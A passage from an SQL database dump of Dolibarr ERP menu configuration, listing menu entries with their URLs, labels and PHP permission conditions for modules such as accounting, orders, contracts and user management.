15:14:30'),(161093,'auguria',1,'comptabilite|accounting|facture|don|tax|salaries|loan','top','accountancy',0,NULL,NULL,50,'/compta/index.php?mainmenu=accountancy&leftmenu=','','MenuFinancial',NULL,'compta',-1,'','$user->rights->compta->resultat->lire || $user->rights->accounting->plancompte->lire || $user->rights->facture->lire|| $user->rights->don->lire || $user->rights->tax->charges->lire || $user->rights->salaries->read || $user->rights->loan->read','$conf->comptabilite->enabled || $conf->accounting->enabled || $conf->facture->enabled || $conf->don->enabled || $conf->tax->enabled || $conf->salaries->enabled || $conf->supplier_invoice->enabled || $conf->loan->enabled',2,'2017-08-30 15:14:30'),(161094,'auguria',1,'projet','top','project',0,NULL,NULL,70,'/projet/index.php?mainmenu=project&leftmenu=','','Projects',NULL,'projects',-1,'','$user->rights->projet->lire','$conf->projet->enabled',2,'2017-08-30 15:14:30'),(161095,'auguria',1,'mailing|export|import|opensurvey|resource','top','tools',0,NULL,NULL,90,'/core/tools.php?mainmenu=tools&leftmenu=','','Tools',NULL,'other',-1,'','$user->rights->mailing->lire || $user->rights->export->lire || $user->rights->import->run || $user->rights->opensurvey->read || $user->rights->resource->read','$conf->mailing->enabled || $conf->export->enabled || $conf->import->enabled || $conf->opensurvey->enabled || $conf->resource->enabled',2,'2017-08-30 15:14:30'),(161101,'auguria',1,'banque|prelevement','top','bank',0,NULL,NULL,60,'/compta/bank/index.php?mainmenu=bank&leftmenu=bank','','MenuBankCash',NULL,'banks',-1,'','$user->rights->banque->lire || $user->rights->prelevement->bons->lire','$conf->banque->enabled || $conf->prelevement->enabled',0,'2017-08-30 15:14:30'),(161102,'auguria',1,'hrm|holiday|deplacement|expensereport','top','hrm',0,NULL,NULL,80,'/hrm/index.php?mainmenu=hrm&leftmenu=','','HRM',NULL,'holiday',-1,'','$user->rights->hrm->employee->read || $user->rights->holiday->write || $user->rights->deplacement->lire || $user->rights->expensereport->lire','$conf->hrm->enabled || $conf->holiday->enabled || $conf->deplacement->enabled || $conf->expensereport->enabled',0,'2017-08-30 15:14:30'),(161177,'auguria',1,'','left','home',161088,NULL,NULL,0,'/index.php','','MyDashboard',NULL,'',0,'','','1',2,'2017-08-30 15:14:30'),(161187,'auguria',1,'','left','home',161088,NULL,NULL,1,'/admin/index.php?leftmenu=setup','','Setup',NULL,'admin',0,'setup','','$user->admin',2,'2017-08-30 15:14:30'),(161188,'auguria',1,'','left','home',161187,NULL,NULL,1,'/admin/company.php?leftmenu=setup','','MenuCompanySetup',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161189,'auguria',1,'','left','home',161187,NULL,NULL,4,'/admin/ihm.php?leftmenu=setup','','GUISetup',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161190,'auguria',1,'','left','home',161187,NULL,NULL,2,'/admin/modules.php?leftmenu=setup','','Modules',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161191,'auguria',1,'','left','home',161187,NULL,NULL,6,'/admin/boxes.php?leftmenu=setup','','Boxes',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161192,'auguria',1,'','left','home',161187,NULL,NULL,3,'/admin/menus.php?leftmenu=setup','','Menus',NULL,'admin',1,'','','$leftmenu==\'setup\'',2,'2017-09-06 08:29:47'),(161193,'auguria',1,'','left','home',161187,NULL,NULL,7,'/admin/delais.php?leftmenu=setup','','Alerts',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161194,'auguria',1,'','left','home',161187,NULL,NULL,10,'/admin/pdf.php?leftmenu=setup','','PDF',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161195,'auguria',1,'','left','home',161187,NULL,NULL,8,'/admin/security_other.php?leftmenu=setup','','Security',NULL,'admin',1,'','','$leftmenu==\'setup\'',2,'2017-09-06 08:29:36'),(161196,'auguria',1,'','left','home',161187,NULL,NULL,11,'/admin/mails.php?leftmenu=setup','','Emails',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161197,'auguria',1,'','left','home',161187,NULL,NULL,9,'/admin/limits.php?leftmenu=setup','','MenuLimits',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161198,'auguria',1,'','left','home',161187,NULL,NULL,13,'/admin/dict.php?leftmenu=setup','','Dictionary',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161199,'auguria',1,'','left','home',161187,NULL,NULL,14,'/admin/const.php?leftmenu=setup','','OtherSetup',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161200,'auguria',1,'','left','home',161187,NULL,NULL,12,'/admin/sms.php?leftmenu=setup','','SMS',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161201,'auguria',1,'','left','home',161187,NULL,NULL,4,'/admin/translation.php?leftmenu=setup','','Translation',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161288,'auguria',1,'','left','home',161387,NULL,NULL,0,'/admin/system/dolibarr.php?leftmenu=admintools','','InfoDolibarr',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161289,'auguria',1,'','left','home',161288,NULL,NULL,2,'/admin/system/modules.php?leftmenu=admintools','','Modules',NULL,'admin',2,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161290,'auguria',1,'','left','home',161288,NULL,NULL,3,'/admin/triggers.php?leftmenu=admintools','','Triggers',NULL,'admin',2,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161291,'auguria',1,'','left','home',161288,NULL,NULL,4,'/admin/system/filecheck.php?leftmenu=admintools','','FileCheck',NULL,'admin',2,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161292,'auguria',1,'','left','home',161387,NULL,NULL,1,'/admin/system/browser.php?leftmenu=admintools','','InfoBrowser',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161293,'auguria',1,'','left','home',161387,NULL,NULL,2,'/admin/system/os.php?leftmenu=admintools','','InfoOS',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161294,'auguria',1,'','left','home',161387,NULL,NULL,3,'/admin/system/web.php?leftmenu=admintools','','InfoWebServer',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161295,'auguria',1,'','left','home',161387,NULL,NULL,4,'/admin/system/phpinfo.php?leftmenu=admintools','','InfoPHP',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161297,'auguria',1,'','left','home',161387,NULL,NULL,5,'/admin/system/database.php?leftmenu=admintools','','InfoDatabase',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161387,'auguria',1,'','left','home',161088,NULL,NULL,2,'/admin/tools/index.php?leftmenu=admintools','','AdminTools',NULL,'admin',0,'admintools','','$user->admin',2,'2017-08-30 15:14:30'),(161388,'auguria',1,'','left','home',161387,NULL,NULL,6,'/admin/tools/dolibarr_export.php?leftmenu=admintools','','Backup',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161389,'auguria',1,'','left','home',161387,NULL,NULL,7,'/admin/tools/dolibarr_import.php?leftmenu=admintools','','Restore',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161392,'auguria',1,'','left','home',161387,NULL,NULL,8,'/admin/tools/update.php?leftmenu=admintools','','MenuUpgrade',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161393,'auguria',1,'','left','home',161387,NULL,NULL,9,'/admin/tools/eaccelerator.php?leftmenu=admintools','','EAccelerator',NULL,'admin',1,'','','$leftmenu==\"admintools\" && function_exists(\"eaccelerator_info\")',2,'2017-08-30 15:14:30'),(161394,'auguria',1,'','left','home',161387,NULL,NULL,10,'/admin/tools/listevents.php?leftmenu=admintools','','Audit',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161395,'auguria',1,'','left','home',161387,NULL,NULL,11,'/admin/tools/listsessions.php?leftmenu=admintools','','Sessions',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161396,'auguria',1,'','left','home',161387,NULL,NULL,12,'/admin/tools/purge.php?leftmenu=admintools','','Purge',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161398,'auguria',1,'','left','home',161387,NULL,NULL,14,'/admin/system/about.php?leftmenu=admintools','','ExternalResources',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161407,'auguria',1,'','left','home',161387,NULL,NULL,15,'/product/admin/product_tools.php?mainmenu=home&leftmenu=admintools','','ProductVatMassChange',NULL,'products',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161487,'auguria',1,'','left','home',161088,NULL,NULL,4,'/user/home.php?leftmenu=users','','MenuUsersAndGroups',NULL,'users',0,'users','','1',2,'2017-08-30 15:14:30'),(161488,'auguria',1,'','left','home',161487,NULL,NULL,0,'/user/index.php?leftmenu=users','','Users',NULL,'users',1,'','$user->rights->user->user->lire || $user->admin','$leftmenu==\"users\"',2,'2017-08-30 15:14:30'),(161489,'auguria',1,'','left','home',161488,NULL,NULL,0,'/user/card.php?leftmenu=users&action=create','','NewUser',NULL,'users',2,'','($user->rights->user->user->creer || $user->admin) && !(! empty($conf->multicompany->enabled) && $conf->entity > 1 && $conf->global->MULTICOMPANY_TRANSVERSE_MODE)','$leftmenu==\"users\"',2,'2017-08-30 15:14:30'),(161490,'auguria',1,'','left','home',161487,NULL,NULL,1,'/user/group/index.php?leftmenu=users','','Groups',NULL,'users',1,'','(($conf->global->MAIN_USE_ADVANCED_PERMS?$user->rights->user->group_advance->read:$user->rights->user->user->lire) || $user->admin) && !(! empty($conf->multicompany->enabled) && $conf->entity > 1 && $conf->global->MULTICOMPANY_TRANSVERSE_MODE)','$leftmenu==\"users\"',2,'2017-08-30 15:14:30'),(161491,'auguria',1,'','left','home',161490,NULL,NULL,0,'/user/group/card.php?leftmenu=users&action=create','','NewGroup',NULL,'users',2,'','(($conf->global->MAIN_USE_ADVANCED_PERMS?$user->rights->user->group_advance->write:$user->rights->user->user->creer) || $user->admin) && !(! empty($conf->multicompany->enabled) && $conf->entity > 1 && $conf->global->MULTICOMPANY_TRANSVERSE_MODE)','$leftmenu==\"users\"',2,'2017-08-30 15:14:30'),(161587,'auguria',1,'','left','companies',161089,NULL,NULL,0,'/societe/index.php?leftmenu=thirdparties','','ThirdParty',NULL,'companies',0,'thirdparties','$user->rights->societe->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161588,'auguria',1,'','left','companies',161587,NULL,NULL,0,'/societe/card.php?action=create','','MenuNewThirdParty',NULL,'companies',1,'','$user->rights->societe->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161589,'auguria',1,'','left','companies',161587,NULL,NULL,0,'/societe/list.php?action=create','','List',NULL,'companies',1,'','$user->rights->societe->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161590,'auguria',1,'','left','companies',161587,NULL,NULL,5,'/societe/list.php?type=f&leftmenu=suppliers','','ListSuppliersShort',NULL,'suppliers',1,'','$user->rights->societe->lire && $user->rights->fournisseur->lire','$conf->societe->enabled && $conf->fournisseur->enabled',2,'2017-08-30 15:14:30'),(161591,'auguria',1,'','left','companies',161590,NULL,NULL,0,'/societe/card.php?leftmenu=supplier&action=create&type=f','','NewSupplier',NULL,'suppliers',2,'','$user->rights->societe->creer','$conf->societe->enabled && $conf->fournisseur->enabled',2,'2017-08-30 15:14:30'),(161593,'auguria',1,'','left','companies',161587,NULL,NULL,3,'/societe/list.php?type=p&leftmenu=prospects','','ListProspectsShort',NULL,'companies',1,'','$user->rights->societe->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161594,'auguria',1,'','left','companies',161593,NULL,NULL,0,'/societe/card.php?leftmenu=prospects&action=create&type=p','','MenuNewProspect',NULL,'companies',2,'','$user->rights->societe->creer','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161596,'auguria',1,'','left','companies',161587,NULL,NULL,4,'/societe/list.php?type=c&leftmenu=customers','','ListCustomersShort',NULL,'companies',1,'','$user->rights->societe->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161597,'auguria',1,'','left','companies',161596,NULL,NULL,0,'/societe/card.php?leftmenu=customers&action=create&type=c','','MenuNewCustomer',NULL,'companies',2,'','$user->rights->societe->creer','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161687,'auguria',1,'','left','companies',161089,NULL,NULL,1,'/contact/list.php?leftmenu=contacts','','ContactsAddresses',NULL,'companies',0,'contacts','$user->rights->societe->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161688,'auguria',1,'','left','companies',161687,NULL,NULL,0,'/contact/card.php?leftmenu=contacts&action=create','','NewContactAddress',NULL,'companies',1,'','$user->rights->societe->creer','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161689,'auguria',1,'','left','companies',161687,NULL,NULL,1,'/contact/list.php?leftmenu=contacts','','List',NULL,'companies',1,'','$user->rights->societe->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161691,'auguria',1,'','left','companies',161689,NULL,NULL,1,'/contact/list.php?leftmenu=contacts&type=p','','ThirdPartyProspects',NULL,'companies',2,'','$user->rights->societe->contact->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161692,'auguria',1,'','left','companies',161689,NULL,NULL,2,'/contact/list.php?leftmenu=contacts&type=c','','ThirdPartyCustomers',NULL,'companies',2,'','$user->rights->societe->contact->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161693,'auguria',1,'','left','companies',161689,NULL,NULL,3,'/contact/list.php?leftmenu=contacts&type=f','','ThirdPartySuppliers',NULL,'companies',2,'','$user->rights->societe->contact->lire','$conf->societe->enabled && $conf->fournisseur->enabled',2,'2017-08-30 15:14:30'),(161694,'auguria',1,'','left','companies',161689,NULL,NULL,4,'/contact/list.php?leftmenu=contacts&type=o','','Others',NULL,'companies',2,'','$user->rights->societe->contact->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161737,'auguria',1,'','left','companies',161089,NULL,NULL,3,'/categories/index.php?leftmenu=cat&type=1','','SuppliersCategoriesShort',NULL,'categories',0,'cat','$user->rights->categorie->lire','$conf->societe->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(161738,'auguria',1,'','left','companies',161737,NULL,NULL,0,'/categories/card.php?action=create&type=1','','NewCategory',NULL,'categories',1,'','$user->rights->categorie->creer','$conf->societe->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(161747,'auguria',1,'','left','companies',161089,NULL,NULL,4,'/categories/index.php?leftmenu=cat&type=2','','CustomersProspectsCategoriesShort',NULL,'categories',0,'cat','$user->rights->categorie->lire','$conf->fournisseur->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(161748,'auguria',1,'','left','companies',161747,NULL,NULL,0,'/categories/card.php?action=create&type=2','','NewCategory',NULL,'categories',1,'','$user->rights->categorie->creer','$conf->fournisseur->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(161757,'auguria',1,'','left','companies',161089,NULL,NULL,3,'/categories/index.php?leftmenu=cat&type=4','','ContactCategoriesShort',NULL,'categories',0,'cat','$user->rights->categorie->lire','$conf->societe->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(161758,'auguria',1,'','left','companies',161757,NULL,NULL,0,'/categories/card.php?action=create&type=4','','NewCategory',NULL,'categories',1,'','$user->rights->categorie->creer','$conf->societe->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(162187,'auguria',1,'','left','commercial',161092,NULL,NULL,4,'/comm/propal/index.php?leftmenu=propals','','Prop',NULL,'propal',0,'propals','$user->rights->propale->lire','$conf->propal->enabled',2,'2017-08-30 15:14:30'),(162188,'auguria',1,'','left','commercial',162187,NULL,NULL,0,'/comm/propal/card.php?action=create&leftmenu=propals','','NewPropal',NULL,'propal',1,'','$user->rights->propale->creer','$conf->propal->enabled',2,'2017-08-30 15:14:30'),(162189,'auguria',1,'','left','commercial',162187,NULL,NULL,1,'/comm/propal/list.php?leftmenu=propals','','List',NULL,'propal',1,'','$user->rights->propale->lire','$conf->propal->enabled',2,'2017-08-30 15:14:30'),(162190,'auguria',1,'','left','commercial',162189,NULL,NULL,2,'/comm/propal/list.php?leftmenu=propals&search_status=0','','PropalsDraft',NULL,'propal',1,'','$user->rights->propale->lire','$conf->propal->enabled && $leftmenu==\"propals\"',2,'2017-08-30 15:14:30'),(162191,'auguria',1,'','left','commercial',162189,NULL,NULL,3,'/comm/propal/list.php?leftmenu=propals&search_status=1','','PropalsOpened',NULL,'propal',1,'','$user->rights->propale->lire','$conf->propal->enabled && $leftmenu==\"propals\"',2,'2017-08-30 15:14:30'),(162192,'auguria',1,'','left','commercial',162189,NULL,NULL,4,'/comm/propal/list.php?leftmenu=propals&search_status=2','','PropalStatusSigned',NULL,'propal',1,'','$user->rights->propale->lire','$conf->propal->enabled && $leftmenu==\"propals\"',2,'2017-08-30 15:14:30'),(162193,'auguria',1,'','left','commercial',162189,NULL,NULL,5,'/comm/propal/list.php?leftmenu=propals&search_status=3','','PropalStatusNotSigned',NULL,'propal',1,'','$user->rights->propale->lire','$conf->propal->enabled && $leftmenu==\"propals\"',2,'2017-08-30 15:14:30'),(162194,'auguria',1,'','left','commercial',162189,NULL,NULL,6,'/comm/propal/list.php?leftmenu=propals&search_status=4','','PropalStatusBilled',NULL,'propal',1,'','$user->rights->propale->lire','$conf->propal->enabled && $leftmenu==\"propals\"',2,'2017-08-30 15:14:30'),(162197,'auguria',1,'','left','commercial',162187,NULL,NULL,4,'/comm/propal/stats/index.php?leftmenu=propals','','Statistics',NULL,'propal',1,'','$user->rights->propale->lire','$conf->propal->enabled',2,'2017-08-30 15:14:30'),(162287,'auguria',1,'','left','commercial',161092,NULL,NULL,5,'/commande/index.php?leftmenu=orders','','CustomersOrders',NULL,'orders',0,'orders','$user->rights->commande->lire','$conf->commande->enabled',2,'2017-08-30 15:14:30'),(162288,'auguria',1,'','left','commercial',162287,NULL,NULL,0,'/commande/card.php?action=create&leftmenu=orders','','NewOrder',NULL,'orders',1,'','$user->rights->commande->creer','$conf->commande->enabled',2,'2017-08-30 15:14:30'),(162289,'auguria',1,'','left','commercial',162287,NULL,NULL,1,'/commande/list.php?leftmenu=orders','','List',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled',2,'2017-08-30 15:14:30'),(162290,'auguria',1,'','left','commercial',162289,NULL,NULL,2,'/commande/list.php?leftmenu=orders&search_status=0','','StatusOrderDraftShort',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled && $leftmenu==\"orders\"',2,'2017-08-30 15:14:30'),(162291,'auguria',1,'','left','commercial',162289,NULL,NULL,3,'/commande/list.php?leftmenu=orders&search_status=1','','StatusOrderValidated',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled && $leftmenu==\"orders\"',2,'2017-08-30 15:14:30'),(162292,'auguria',1,'','left','commercial',162289,NULL,NULL,4,'/commande/list.php?leftmenu=orders&search_status=2','','StatusOrderOnProcessShort',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled && $leftmenu==\"orders\"',2,'2017-08-30 15:14:30'),(162293,'auguria',1,'','left','commercial',162289,NULL,NULL,5,'/commande/list.php?leftmenu=orders&search_status=3','','StatusOrderToBill',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled && $leftmenu==\"orders\"',2,'2017-08-30 15:14:30'),(162294,'auguria',1,'','left','commercial',162289,NULL,NULL,6,'/commande/list.php?leftmenu=orders&search_status=4','','StatusOrderProcessed',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled && $leftmenu==\"orders\"',2,'2017-08-30 15:14:30'),(162295,'auguria',1,'','left','commercial',162289,NULL,NULL,7,'/commande/list.php?leftmenu=orders&search_status=-1','','StatusOrderCanceledShort',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled && $leftmenu==\"orders\"',2,'2017-08-30 15:14:30'),(162296,'auguria',1,'','left','commercial',162287,NULL,NULL,4,'/commande/stats/index.php?leftmenu=orders','','Statistics',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled',2,'2017-08-30 15:14:30'),(162387,'auguria',1,'','left','commercial',161090,NULL,NULL,6,'/expedition/index.php?leftmenu=sendings','','Shipments',NULL,'sendings',0,'sendings','$user->rights->expedition->lire','$conf->expedition->enabled',2,'2017-08-30 15:14:30'),(162388,'auguria',1,'','left','commercial',162387,NULL,NULL,0,'/expedition/card.php?action=create2&leftmenu=sendings','','NewSending',NULL,'sendings',1,'','$user->rights->expedition->creer','$conf->expedition->enabled && $leftmenu==\"sendings\"',2,'2017-08-30 15:14:30'),(162389,'auguria',1,'','left','commercial',162387,NULL,NULL,1,'/expedition/list.php?leftmenu=sendings','','List',NULL,'sendings',1,'','$user->rights->expedition->lire','$conf->expedition->enabled && $leftmenu==\"sendings\"',2,'2017-08-30 15:14:30'),(162390,'auguria',1,'','left','commercial',162387,NULL,NULL,2,'/expedition/stats/index.php?leftmenu=sendings','','Statistics',NULL,'sendings',1,'','$user->rights->expedition->lire','$conf->expedition->enabled && $leftmenu==\"sendings\"',2,'2017-08-30 15:14:30'),(162487,'auguria',1,'','left','commercial',161092,NULL,NULL,7,'/contrat/index.php?leftmenu=contracts','','Contracts',NULL,'contracts',0,'contracts','$user->rights->contrat->lire','$conf->contrat->enabled',2,'2017-08-30 15:14:30'),(162488,'auguria',1,'','left','commercial',162487,NULL,NULL,0,'/contrat/card.php?&action=create&leftmenu=contracts','','NewContract',NULL,'contracts',1,'','$user->rights->contrat->creer','$conf->contrat->enabled',2,'2017-08-30 15:14:30'),(162489,'auguria',1,'','left','commercial',162487,NULL,NULL,1,'/contrat/list.php?leftmenu=contracts','','List',NULL,'contracts',1,'','$user->rights->contrat->lire','$conf->contrat->enabled',2,'2017-08-30 15:14:30'),(162490,'auguria',1,'','left','commercial',162487,NULL,NULL,2,'/contrat/services.php?leftmenu=contracts','','MenuServices',NULL,'contracts',1,'','$user->rights->contrat->lire','$conf->contrat->enabled',2,'2017-08-30 15:14:30'),(162491,'auguria',1,'','left','commercial',162490,NULL,NULL,0,'/contrat/services.php?leftmenu=contracts&mode=0','','MenuInactiveServices',NULL,'contracts',2,'','$user->rights->contrat->lire','$conf->contrat->enabled && $leftmenu==\"contracts\"',2,'2017-08-30 15:14:30'),(162492,'auguria',1,'','left','commercial',162490,NULL,NULL,1,'/contrat/services.php?leftmenu=contracts&mode=4','','MenuRunningServices',NULL,'contracts',2,'','$user->rights->contrat->lire','$conf->contrat->enabled && $leftmenu==\"contracts\"',2,'2017-08-30 15:14:30'),(162493,'auguria',1,'','left','commercial',162490,NULL,NULL,2,'/contrat/services.php?leftmenu=contracts&mode=4&filter=expired','','MenuExpiredServices',NULL,'contracts',2,'','$user->rights->contrat->lire','$conf->contrat->enabled && $leftmenu==\"contracts\"',2,'2017-08-30 15:14:30'),(162494,'auguria',1,'','left','commercial',162490,NULL,NULL,3,'/contrat/services.php?leftmenu=contracts&mode=5','','MenuClosedServices',NULL,'contracts',2,'','$user->rights->contrat->lire','$conf->contrat->enabled && $leftmenu==\"contracts\"',2,'2017-08-30 15:14:30'),(162587,'auguria',1,'','left','commercial',161092,NULL,NULL,8,'/fichinter/list.php?leftmenu=ficheinter','','Interventions',NULL,'interventions',0,'ficheinter','$user->rights->ficheinter->lire','$conf->ficheinter->enabled',2,'2017-08-30 15:14:30'),(162588,'auguria',1,'','left','commercial',162587,NULL,NULL,0,'/fichinter/card.php?action=create&leftmenu=ficheinter','','NewIntervention',NULL,'interventions',1,'','$user->rights->ficheinter->creer','$conf->ficheinter->enabled',2,'2017-08-30 15:14:30'),(162589,'auguria',1,'','left','commercial',162587,NULL,NULL,1,'/fichinter/list.php?leftmenu=ficheinter','','List',NULL,'interventions',1,'','$user->rights->ficheinter->lire','$conf->ficheinter->enabled',2,'2017-08-30 15:14:30'),(162590,'auguria',1,'','left','commercial',162587,NULL,NULL,2,'/fichinter/stats/index.php?leftmenu=ficheinter','','Statistics',NULL,'interventions',1,'','$user->rights->ficheinter->lire','$conf->ficheinter->enabled',2,'2017-08-30 15:14:30'),(162687,'auguria',1,'','left','accountancy',161093,NULL,NULL,3,'/fourn/facture/list.php?leftmenu=suppliers_bills','','BillsSuppliers',NULL,'bills',0,'supplier_bills','$user->rights->fournisseur->facture->lire','$conf->supplier_invoice->enabled',2,'2017-08-30 15:14:30'),(162688,'auguria',1,'','left','accountancy',162687,NULL,NULL,0,'/fourn/facture/card.php?action=create&leftmenu=suppliers_bills','','NewBill',NULL,'bills',1,'','$user->rights->fournisseur->facture->creer','$conf->supplier_invoice->enabled',2,'2017-08-30 15:14:30'),(162689,'auguria',1,'','left','accountancy',162687,NULL,NULL,1,'/fourn/facture/list.php?leftmenu=suppliers_bills','','List',NULL,'bills',1,'','$user->rights->fournisseur->facture->lire','$conf->supplier_invoice->enabled',2,'2017-08-30 15:14:30'),(162690,'auguria',1,'','left','accountancy',162687,NULL,NULL,2,'/fourn/facture/paiement.php?leftmenu=suppliers_bills','','Payments',NULL,'bills',1,'','$user->rights->fournisseur->facture->lire','$conf->supplier_invoice->enabled',2,'2017-08-30 15:14:30'),(162691,'auguria',1,'','left','accountancy',162687,NULL,NULL,8,'/compta/facture/stats/index.php?leftmenu=customers_bills&mode=supplier','','Statistics',NULL,'bills',1,'','$user->rights->fournisseur->facture->lire','$conf->supplier_invoice->enabled',2,'2017-08-30 15:14:30'),(162692,'auguria',1,'','left','accountancy',162690,NULL,NULL,1,'/fourn/facture/rapport.php?leftmenu=suppliers_bills','','Reporting',NULL,'bills',2,'','$user->rights->fournisseur->facture->lire','$conf->supplier_invoice->enabled',2,'2017-08-30 15:14:30'),(162787,'auguria',1,'','left','accountancy',161093,NULL,NULL,3,'/compta/facture/list.php?leftmenu=customers_bills','','BillsCustomers',NULL,'bills',0,'customer_bills','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162788,'auguria',1,'','left','accountancy',162787,NULL,NULL,3,'/compta/facture/card.php?action=create&leftmenu=customers_bills','','NewBill',NULL,'bills',1,'','$user->rights->facture->creer','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162789,'auguria',1,'','left','accountancy',162787,NULL,NULL,5,'/compta/facture/fiche-rec.php?leftmenu=customers_bills','','ListOfTemplates',NULL,'bills',1,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162791,'auguria',1,'','left','accountancy',162787,NULL,NULL,6,'/compta/paiement/list.php?leftmenu=customers_bills','','Payments',NULL,'bills',1,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162792,'auguria',1,'','left','accountancy',162787,NULL,NULL,4,'/compta/facture/list.php?leftmenu=customers_bills','','List',NULL,'bills',1,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162797,'auguria',1,'','left','accountancy',162791,NULL,NULL,1,'/compta/paiement/rapport.php?leftmenu=customers_bills','','Reportings',NULL,'bills',2,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162798,'auguria',1,'','left','accountancy',161101,NULL,NULL,9,'/compta/paiement/cheque/index.php?leftmenu=checks&mainmenu=bank','','MenuChequeDeposits',NULL,'bills',0,'checks','$user->rights->banque->lire','empty($conf->global->BANK_DISABLE_CHECK_DEPOSIT) && ! empty($conf->banque->enabled) && (! empty($conf->facture->enabled) || ! empty($conf->global->MAIN_MENU_CHEQUE_DEPOSIT_ON))',2,'2017-08-30 15:14:30'),(162799,'auguria',1,'','left','accountancy',162798,NULL,NULL,0,'/compta/paiement/cheque/card.php?leftmenu=checks&action=new','','NewCheckDeposit',NULL,'compta',1,'','$user->rights->banque->lire','empty($conf->global->BANK_DISABLE_CHECK_DEPOSIT) && ! empty($conf->banque->enabled) && (! empty($conf->facture->enabled) || ! empty($conf->global->MAIN_MENU_CHEQUE_DEPOSIT_ON))',2,'2017-08-30 15:14:30'),(162800,'auguria',1,'','left','accountancy',162798,NULL,NULL,1,'/compta/paiement/cheque/list.php?leftmenu=checks','','List',NULL,'bills',1,'','$user->rights->banque->lire','empty($conf->global->BANK_DISABLE_CHECK_DEPOSIT) && ! empty($conf->banque->enabled) && (! empty($conf->facture->enabled) || ! empty($conf->global->MAIN_MENU_CHEQUE_DEPOSIT_ON))',2,'2017-08-30 15:14:30'),(162801,'auguria',1,'','left','accountancy',162787,NULL,NULL,8,'/compta/facture/stats/index.php?leftmenu=customers_bills','','Statistics',NULL,'bills',1,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162807,'auguria',1,'','left','accountancy',162792,NULL,NULL,1,'/compta/facture/list.php?leftmenu=customers_bills&search_status=0','','BillShortStatusDraft',NULL,'bills',2,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 